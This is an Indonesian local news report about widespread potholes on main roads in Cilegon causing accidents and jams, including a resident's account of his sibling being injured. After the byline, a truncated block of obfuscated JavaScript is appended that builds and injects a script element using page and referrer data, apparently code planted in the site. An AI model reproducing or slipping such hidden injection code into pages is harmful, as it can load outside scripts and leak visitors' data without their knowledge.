CILEGON – Jalan rusak dan berlubang hampir merata terjadi disejumlah ruas jalan utama di wilayah Kota Cilegon. Memasuki awal musim hujan ini, jalan-jalan berlubang dengan diameter 50 sampai 200 sentimeter dan kedalaman 5 sampai 20 inci sering menjadi penyebab kecelakaan dan kemacetan parah.

Berdasarkan pantauan Rabu, 27 Januari 2016, ruas jalan yang mengalami kerusakan antara lain jalan Sumampir, Purwakarta, jalan Ahmad Yani Cibeber, Fly Over Cibeber dan kerusakan terparah di Bundaran Simpang Tiga Cilegon. Bahkan, kondisi itu dapat membuat kemacetan pada jam-jam tertentu. Selain menghindari lubang-lubang besar yang menganga, banyak roda kendaraan yang terjebak dalam lubang-lubang yang besar dan dalam tersebut dan terjatuh.

Salah satu warga Cilegon, Haikal mengaku, keluarganya sudah menjadi korban jalan rusak di Bundaran Simpang Tiga Cilegon, karena menghindari jalan berlubang. Akibatnya, keluargannya harus mendapatkan perawatan di Rumah Sakit Krakatau Medika (RSKM) Cilegon karena mengalami luka yang cukup serius.

“Jalan di tugu Landmark persis di bundaran simpang tiga sudah rusak parah, banyak lubang. Adik saya jatuh dari sepeda motor dan harus dilarikan kerumah sakit karena tubuhnya terlindas kendaraan lain yang melintas,” ujar Haikal.

Untuk itu, Haikal meminta, pemerintah untuk segera melakukan tindakan dengan melakukan perbaikan jalan di sepanjang jalan protokol. Perbaikan jalan itu sangat dibutuhkan warga, jangan sampai ada korban bertambah. “Semoga pihak terkait segera melakukan langkah antisipasi dan perbaikan atas kondisi tersebut,” katanya. (Nur/Sie) omponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}